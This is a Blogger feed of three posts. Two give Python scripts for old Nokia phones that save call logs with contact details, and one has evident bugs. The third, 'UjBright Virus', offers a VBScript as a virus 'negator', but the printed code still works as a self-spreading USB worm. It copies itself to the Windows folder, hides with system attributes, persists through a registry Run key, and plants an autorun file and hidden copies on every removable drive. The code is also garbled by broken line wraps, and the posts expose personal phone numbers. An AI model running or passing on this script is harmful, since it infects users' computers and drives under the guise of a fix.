<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-6292174967193394428</id><updated>2024-09-05T18:45:21.711-07:00</updated><category term="Negvirus (Negate a virus)"/><category term="Python calllog"/><title type='text'>To Care is Share</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://medzindia.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6292174967193394428/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://medzindia.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>MITaw</name><uri>http://www.blogger.com/profile/15814275943064599318</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>3</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-6292174967193394428.post-3172695036949797427</id><published>2010-05-21T03:48:00.000-07:00</published><updated>2010-05-21T04:16:45.245-07:00</updated><title type='text'>Saving call logs</title><content type='html'>&lt;pre&gt;&lt;font color=blue&gt;
import logs, os, codecs
import appuifw
import time
import contacts
co=contacts.open()
ep=&#39;e:\calllogs\&#39;
rt=time.time()
# for countries east of GMT i.e. GMT+xy hrs
rt=rt+str(-(time.timezone))
# being in india i use GMT+(-19800)
#rt = rt + 19800
rt=time.gmtime(rt)
#Dr.MiT, Hyderabad, INDIA
tp=str(rt[0])+&#39;_&#39;+str(rt[1])+&#39;_&#39;+str(rt[2])+&#39;_&#39;+str(rt[3])+&#39;_&#39;+str(rt[4])+&#39;_&#39;+str(rt[5])+&#39;_calllog.txt&#39;
#tp=str(rt[0])+&#39;_&#39;+str(rt[1])+&#39;_&#39;+str(tr[2])+&#39;_&#39;+str(rt[3])+&#39;_&#39;+
#str(rt[4])+&#39;_&#39;+str(rt[5])+&#39;_calllog.txt&#39;
#if this line extends beyond ur display, press &quot;&#39;ctrl&#39;+&#39;-&#39;&quot; to decrease the size
#(ctrl)+(+) to increase the webpage display size
#(ctrl)+(-) to decrease the webpage display size
fn=ep+tp
nl=&#39;\n&#39;
ts=time.asctime()
ttza=time.timezone
sttza=str(ttza)
ttzb=ttza+39600
sttzb=str(ttzb)
sf=codecs.open(fn,&#39;w&#39;,&#39;utf8&#39;)
sf.write(nl+&#39;ttza=time.timezone is &#39;+ttza+nl)
sf.write(nl+&#39;ttzb=ttza+39600 is &#39;+sttzb+nl)
sf.write(nl+&#39;Today is &#39;+str(ts)+nl)
e=[&#39;out&#39;,&#39;missed&#39;,&#39;in&#39;]
for x in e:
   l=logs.calls(mode=x)
   for i in range(len(l)):
       dim=ttzb+(l[i][&quot;time&quot;])
       dim=time.localtime(dim)
#       lm=time.timezone()
#       dim=dim+(time.timezone)
       dateim= time.strftime(&quot;%Y/%m/%d-%H:%M:%S&quot;, dim)
       daasc= time.asctime(dim)
       s=str(dateim)+&quot;    &quot;+str(daasc)+(&quot;  M:&quot;)+str(l[i][&quot;direction&quot;])
       s=s+(&quot;  D:&quot;)+str(l[i][&quot;duration&quot;])
       s=s+(&quot;  N:&quot;)+str(l[i][&quot;number&quot;])
       nln=&quot; ;&quot;
       s=s+nln
       sf.write( str(s)+&#39;\n&#39;)
       cn=co.find(l[i][&quot;number&quot;])
       leco=len(cn)
       if leco &gt; 1: 
         s1=str(&quot;There are multiple contacts entered for the number&quot;)
         s2=str(cn)
         s3=s1+s2
         sf.write(str(s3)+&#39;:&#39;)
         sf.write((l[i][&quot;number&quot;])+&#39;\n&#39;)
         for h in range(len(cn)):
           q=str(h)
           y=str(&quot;Contact No:&quot;)+q
           c=cn[h]
           ct=c.title
           sf.write( y+&#39;\n&#39;+&quot;Title is &quot;+ str(ct)+&#39;\n&#39;)
#           c=cn[h]
           for j in range(len(c)):
               t=c[j].type
               v=c[j].value
               lon=c[j].location
               lal=c[j].label
               tv=&quot;label is &quot;+lal+&quot;, &quot;+t+&quot; : &quot;+v+&quot; , &quot;+&quot;location:h/w/o-&quot;+lon
               sf.write( str(tv)+&#39;\n&#39;)
       elif leco &lt; 1:
               tv=str(&quot;UNKNOWN Number:&quot;)+str(l[i][&quot;number&quot;])
               sf.write( str(tv)+&#39;\n&#39;)
       elif leco ==1:
           dn=str(cn)
#           ct=cn.title
#           sf.write( &quot;Title is &quot;+ str(ct)+&#39;\n&#39;+cn+&#39;\n&#39;)
           sf.write(dn+&#39;\n&#39;)
           for h in range(len(cn)):
               c=cn[h]
               for k in range(len(c)):
                 t=c[k].type
                 v=c[k].value
                 lon=c[k].location
                 lal=c[k].label
                 tv=&quot;label is &quot;+lal+&quot;, &quot;+t+&quot; : &quot;+v+&quot; , &quot;+&quot;location:h/w/o-&quot;+lon
                 sf.write( str(tv)+&#39;\n&#39;)
#       sf.write( str(s)+&#39;\n&#39;)
sf.close()
#contacts.close() module obj has no attribute close
#appuifw.note(&quot;log Written. &quot;,&#39;info&#39;)
# medzindia.blogspot.com
#Dr.MiT, Hyderabad, INDIA
appuifw.note(&quot;log Written to&quot;+fn+&quot;\n&quot;+&quot;Dr.MIT....Email:imran-doc@hotmail.com,&quot;,&#39;info&#39;)
#
&lt;/font&gt;&lt;font color=maroon size=3&gt;
#The advantage is that each time log is saved with the current time as filename
#so no need to manually backup the file in fear of being overwritten
#as when using a specific (constant/same) filename everytime,
#or a loooooong file if &#39;append&#39; (a) is used instead of &#39;write&#39; (w).
&lt;/font&gt;
#
#&lt;font color=green size=4&gt;Dr.MiT, Hyderabad, India&lt;/font&gt;



&lt;/pre&gt;</content><link rel='replies' type='application/atom+xml' href='http://medzindia.blogspot.com/feeds/3172695036949797427/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://medzindia.blogspot.com/2010/05/saving-call-logs.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6292174967193394428/posts/default/3172695036949797427'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6292174967193394428/posts/default/3172695036949797427'/><link rel='alternate' type='text/html' href='http://medzindia.blogspot.com/2010/05/saving-call-logs.html' title='Saving call logs'/><author><name>MITaw</name><uri>http://www.blogger.com/profile/15814275943064599318</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6292174967193394428.post-9130258755393585987</id><published>2009-11-08T07:26:00.000-08:00</published><updated>2009-11-08T07:26:35.946-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Negvirus (Negate a virus)"/><title type='text'>UjBright Virus</title><content type='html'>The file UjBright_Antivirus.vbs infects the systems and changes Explorer&gt;Menu&gt;Tools&gt;Folder options&gt; and changes the file attributes to NOT show hidden files, It also disables registry editing, so that we cannot disable the virus from being active.&lt;br /&gt;
&lt;br /&gt;
I changed the file Uj UjBright_Antivirus.vbs;&lt;br /&gt;
I changed the registry enteries to enable whatever this file was disabling and i added for it to end the viral script.&lt;br /&gt;
This file u copy to /systemroot/windows/ folder. It will run once and then stop. No infections alas it clears the changes made by the virus.&lt;br /&gt;
===================&lt;br /&gt;
&lt;br /&gt;
On Error Resume Next&lt;br /&gt;
Dim fso, wscr, tf, scrText, win, ax&lt;br /&gt;
&lt;br /&gt;
Set fso = CreateObject(&quot;Scripting.FileSystemObject&quot;)&lt;br /&gt;
Set wscr = CreateObject(&quot;WScript.Shell&quot;)&lt;br /&gt;
&lt;br /&gt;
win = fso.GetSpecialFolder(0)&lt;br /&gt;
tf = WScript.ScriptFullName&lt;br /&gt;
x = LCase(tf)&lt;br /&gt;
&lt;br /&gt;
If Mid(x, 4) = &quot;UjBright_Antivirus_vbs.txt&quot; Then&lt;br /&gt;
wscr.Run &quot;explorer.exe &quot; &amp; fso.Getfile(tf).Drive.Path&lt;br /&gt;
End If&lt;br /&gt;
&lt;br /&gt;
Set myFile = fso.Getfile(tf).OpenAsTextStream(1)&lt;br /&gt;
Do Until myFile.AtEndOfStream&lt;br /&gt;
scrText = scrText &amp; myFile.ReadLine &amp; vbCrLf&lt;br /&gt;
Loop&lt;br /&gt;
&lt;br /&gt;
ax = fso.FileExists(win &amp; &quot;\UjBright_Antivirus_vbs.txt&quot;)&lt;br /&gt;
&lt;br /&gt;
Set myFile = fso.CreateTextFile(win &amp;&lt;br /&gt;
&lt;br /&gt;
&quot;\UjBright_Antivirus_vbs.txt&quot;, true)&lt;br /&gt;
myFile.write scrText&lt;br /&gt;
myFile.close&lt;br /&gt;
&lt;br /&gt;
Set fAttr = fso.Getfile(win &amp; &quot;\UjBright_Antivirus_vbs.txt&quot;)&lt;br /&gt;
fAttr.Attributes=39&lt;br /&gt;
&lt;br /&gt;
wscr.RegWrite&lt;br /&gt;
&lt;br /&gt;
&quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\&lt;br /&gt;
&lt;br /&gt;
autoMe&quot;, &quot; &quot;&quot;&quot; &amp; win &amp; &quot;\UjBright_Antivirus_vbs.txt&quot;&quot;&quot;&lt;br /&gt;
&lt;br /&gt;
If ax = false Then wscr.Run &quot;wscript.exe &quot;&quot;&quot; &amp; win &amp;&lt;br /&gt;
&lt;br /&gt;
&quot;\UjBright_Antivirus_vbs.txt&quot;&quot;&quot;&lt;br /&gt;
&lt;br /&gt;
While (true)&lt;br /&gt;
&lt;br /&gt;
Set myDrives = fso.Drives&lt;br /&gt;
For Each myFlashDrive In myDrives&lt;br /&gt;
&lt;br /&gt;
If myFlashDrive.Drivetype = 1 And myFlashDrive.Path &lt;&gt; &quot;A:&quot;&lt;br /&gt;
&lt;br /&gt;
Then&lt;br /&gt;
&lt;br /&gt;
If fso.FileExists(myFlashDrive.Path &amp; &quot;\Autorun.inf&quot;)&lt;br /&gt;
&lt;br /&gt;
Then&lt;br /&gt;
Set fAttr = fso.Getfile(myFlashDrive.Path &amp;&lt;br /&gt;
&lt;br /&gt;
&quot;\Autorun_inf.txt&quot;)&lt;br /&gt;
fAttr.Attributes=32&lt;br /&gt;
fso.Deletefile myFlashDrive.Path &amp; &quot;\Autorun_inf.txt&quot;,&lt;br /&gt;
&lt;br /&gt;
true&lt;br /&gt;
End If&lt;br /&gt;
&lt;br /&gt;
Set auFile = fso.CreateTextFile(myFlashDrive.Path &amp;&lt;br /&gt;
&lt;br /&gt;
&quot;\Autorun_inf.txt&quot;, true)&lt;br /&gt;
auFile.write &quot;[autorun]&quot; &amp; vbCrLf &amp; &quot;open=\&quot; &amp; vbCrLf &amp;&lt;br /&gt;
&lt;br /&gt;
&quot;open=wscript.exe UjBright_Antivirus_vbs.txt&quot; &amp; vbCrLf &amp;&lt;br /&gt;
&lt;br /&gt;
&quot;shell\Open\Command=wscript.exe UjBright_Antivirus_vbs.txt&quot; &amp;&lt;br /&gt;
&lt;br /&gt;
vbCrLf &amp; &quot;shell\Open\Default=1&quot;&lt;br /&gt;
auFile.close&lt;br /&gt;
&lt;br /&gt;
Set auFile = fso.CreateTextFile(myFlashDrive.Path &amp;&lt;br /&gt;
&lt;br /&gt;
&quot;\README_MIT_.txt&quot;, true)&lt;br /&gt;
auFile.write &quot;Hello FRIENDS:&quot; &amp; vbCrLf &amp; &quot;&quot; &amp; vbCrLf &amp; &quot;&quot;&lt;br /&gt;
&lt;br /&gt;
&amp; vbCrLf &amp; &quot;&quot; &amp; vbCrLf &amp; &quot; &quot; &amp; vbCrLf &amp; &quot;modified to negate virus&lt;br /&gt;
&lt;br /&gt;
infection by DR.MHMD IMRAN T., +919441119044 Hyderabad, India&quot; &amp;&lt;br /&gt;
&lt;br /&gt;
vbCrLf &amp; &quot; &quot; &amp; vbCrLf &amp; &quot;PARA SA GUSTONG MAGPA-ADVERTISE:&quot; &amp;&lt;br /&gt;
&lt;br /&gt;
vbCrLf &amp; &quot;He wrote the virus &gt;&gt;&gt; JUST CONTACT ME: 09083223171 -&lt;br /&gt;
&lt;br /&gt;
UJBRIGHT&quot;&lt;br /&gt;
auFile.close&lt;br /&gt;
&lt;br /&gt;
Set fAttr = fso.Getfile(myFlashDrive.Path &amp;&lt;br /&gt;
&lt;br /&gt;
&quot;\Autorun_inf.txt&quot;)&lt;br /&gt;
fAttr.Attributes=39&lt;br /&gt;
&lt;br /&gt;
Set myFile = fso.CreateTextFile(myFlashDrive.Path &amp;&lt;br /&gt;
&lt;br /&gt;
&quot;\UjBright_Antivirus_vbs.txt&quot;, true)&lt;br /&gt;
myFile.write scrText&lt;br /&gt;
myFile.close&lt;br /&gt;
&lt;br /&gt;
Set fAttr = fso.Getfile(myFlashDrive.Path &amp;&lt;br /&gt;
&lt;br /&gt;
&quot;\UjBright_Antivirus_vbs.txt&quot;)&lt;br /&gt;
fAttr.Attributes=39&lt;br /&gt;
&lt;br /&gt;
End If&lt;br /&gt;
&lt;br /&gt;
Next&lt;br /&gt;
&lt;br /&gt;
With wscr&lt;br /&gt;
.RegWrite&lt;br /&gt;
&lt;br /&gt;
&quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\&lt;br /&gt;
&lt;br /&gt;
autoMe&quot;, &quot; &quot;&quot;&quot; &amp; win &amp; &quot;\UjBright_Antivirus.txt&quot;&quot;&quot;&lt;br /&gt;
.RegWrite&lt;br /&gt;
&lt;br /&gt;
&quot;HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explo&lt;br /&gt;
&lt;br /&gt;
rer\Advanced\Hidden&quot;, 0, &quot;REG_DWORD&quot;&lt;br /&gt;
.RegWrite&lt;br /&gt;
&lt;br /&gt;
&quot;HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explo&lt;br /&gt;
&lt;br /&gt;
rer\Advanced\HideFileExt&quot;, 0, &quot;REG_DWORD&quot;&lt;br /&gt;
.RegWrite&lt;br /&gt;
&lt;br /&gt;
&quot;HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explo&lt;br /&gt;
&lt;br /&gt;
rer\Advanced\ShowSuperHidden&quot;, 0, &quot;REG_DWORD&quot;&lt;br /&gt;
.RegWrite&lt;br /&gt;
&lt;br /&gt;
&quot;HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Polic&lt;br /&gt;
&lt;br /&gt;
ies\Explorer\NoFolderOptions&quot;, 0, &quot;REG_DWORD&quot;&lt;br /&gt;
.RegWrite&lt;br /&gt;
&lt;br /&gt;
&quot;HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Polic&lt;br /&gt;
&lt;br /&gt;
ies\Explorer\NoDriveTypeAutoRun&quot;, 128, &quot;REG_DWORD&quot;&lt;br /&gt;
.RegWrite&lt;br /&gt;
&lt;br /&gt;
&quot;HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Polic&lt;br /&gt;
&lt;br /&gt;
ies\System\DisableRegistryTools&quot;, 0, &quot;REG_DWORD&quot;&lt;br /&gt;
.RegWrite&lt;br /&gt;
&lt;br /&gt;
&quot;HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Polic&lt;br /&gt;
&lt;br /&gt;
ies\System\DisableTaskMgr&quot;, 0, &quot;REG_DWORD&quot;&lt;br /&gt;
End With&lt;br /&gt;
&lt;br /&gt;
If tf &lt;&gt; win &amp; &quot;\UjBright_Antivirus.txt&quot; Then&lt;br /&gt;
If fso.Getfile(tf).Drive.IsReady = false Then WScript.Quit&lt;br /&gt;
End If&lt;br /&gt;
&lt;br /&gt;
WScript.Sleep 10000&lt;br /&gt;
WScript.Quit&lt;br /&gt;
&lt;br /&gt;
Wend&lt;br /&gt;
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++</content><link rel='replies' type='application/atom+xml' href='http://medzindia.blogspot.com/feeds/9130258755393585987/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://medzindia.blogspot.com/2009/11/ujbright-virus.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6292174967193394428/posts/default/9130258755393585987'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6292174967193394428/posts/default/9130258755393585987'/><link rel='alternate' type='text/html' href='http://medzindia.blogspot.com/2009/11/ujbright-virus.html' title='UjBright Virus'/><author><name>MITaw</name><uri>http://www.blogger.com/profile/15814275943064599318</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6292174967193394428.post-1706767692101969511</id><published>2009-11-04T06:13:00.000-08:00</published><updated>2009-11-04T10:20:01.200-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Python calllog"/><title type='text'>Save CallLogs using python</title><content type='html'>&lt;font color=blue&gt; &lt;br /&gt;
&lt;pre&gt;from __future__ import division
import logs
import appuifw
import e32
import time
fn=u&quot;E:\\system\\Apps\\Python\\logs\\logs.txt&quot;
logfile = open(fn,&quot;a&quot;)
e=[&#39;out&#39;, &#39;missed&#39;, &#39;in&#39;]
     for x in e:
       l=logs.calls(mode=x)
       for i in range(len(l)):
           dim=time.localtime(l[i][&quot;time&quot;])
           dateim= time.strftime(&quot;%Y/%m/%d-%H:%M:%S&quot;, dim)
           s=str(dateim)+(&quot;  M:&quot;)+str(l[i][&quot;direction&quot;])
           s=s+(&quot;  D:&quot;)+str(l[i][&quot;duration&quot;])
           s=s+(&quot;  N:&quot;)+str(l[i][&quot;number&quot;])
           nln=&quot; ;&quot;
           s=s+nln
       logfile.write( str(s)+&#39;\n&#39;)
logfile.close()
# medzindia.blogspot.com
appuifw.note(u&quot;log Written.  MIT....Email:imran-doc@hotmail.com,&quot;,&#39;info&#39;)
&lt;/pre&gt;&lt;br /&gt;
&lt;pre&gt;Output:-
2009/mo/da-hh:mm:ss  M:Outgoing  N:1234567890 ;
2009/mo/da-hh:mm:ss  M:Missed call  N:1234567890 ;
2009/mo/da-hh:mm:ss  M:Incoming  N:1234567890 ;

----------------------------------------------------
comments:-
from __future__ import division
import logs
import appuifw
import e32
import time
# declare a filesystem object
# u for UNICODE format of file
# r for windows format of file
#   for binary
fn=u&quot;E:\\system\\Apps\\Python\\logs\\logs.txt&quot;
# open file of the FSO 
# r to read
# w to write
# a to append
logfile = open(fn,&quot;a&quot;)
# declare a tuple containing three parameters / mode-variables
e=[&#39;out&#39;, &#39;missed&#39;, &#39;in&#39;]
# loop through for each mode as outgoing, missed and incoming calls
# x changes to out, missed and in cyclically as declared in e
# for x in e: is executed thrice
for x in e:
# declare log of calls with each mode cyclically starting with outgoing
l=logs.calls(mode=x)
#for each of the three modes loop till the mode(e.g. outgoing) list ends 
for i in range(len(l)):
# for each entry in log, convert the time in seconds since 1970(UTC) to localtime
dim=time.localtime(l[i][&quot;time&quot;])
# convert the dim tuple to standard format with strftime
dateim= time.strftime(&quot;%Y/%m/%d-%H:%M:%S&quot;, dim)
# store the formatted localtime to a string s, add alphabet M and add direction
# of call as outgoing/missed/incoming
# otherwise we can use the value of x as declared in for x in e:
s=str(dateim)+(&quot;  M:&quot;)+str(l[i][&quot;direction&quot;])
# the duration of the call
s=s+(&quot;  D:&quot;)+str(l[i][&quot;duration&quot;])
# the number called (second party) preceeded by Alph N:
s=s+(&quot;  N:&quot;)+str(l[i][&quot;number&quot;])
# a semicolon so that you can parse the final file to a database
nln=&quot; ;&quot;
# finalize the value of string s
s=s+nln
# write string s to the file along with a newline
logfile.write( str(s)+&#39;\n&#39;)
# for the first run the loop &#39;for x in e:&#39; ends and begins with next value of x
# &#39;for x in e:&#39; ends with three runs
# close the file
logfile.close()
# medzindia.blogspot.com
# flash a &#39;info&#39; note on the screen, UNICODE &#39;u&#39; 
appuifw.note(u&quot;log Written.  MIT....Email:imran-doc@hotmail.com,&quot;,&#39;info&#39;)





&lt;/pre&gt;&lt;br /&gt;
&lt;/font&gt;</content><link rel='replies' type='application/atom+xml' href='http://medzindia.blogspot.com/feeds/1706767692101969511/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://medzindia.blogspot.com/2009/11/save-calllogs-using-python.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6292174967193394428/posts/default/1706767692101969511'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6292174967193394428/posts/default/1706767692101969511'/><link rel='alternate' type='text/html' href='http://medzindia.blogspot.com/2009/11/save-calllogs-using-python.html' title='Save CallLogs using python'/><author><name>MITaw</name><uri>http://www.blogger.com/profile/15814275943064599318</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>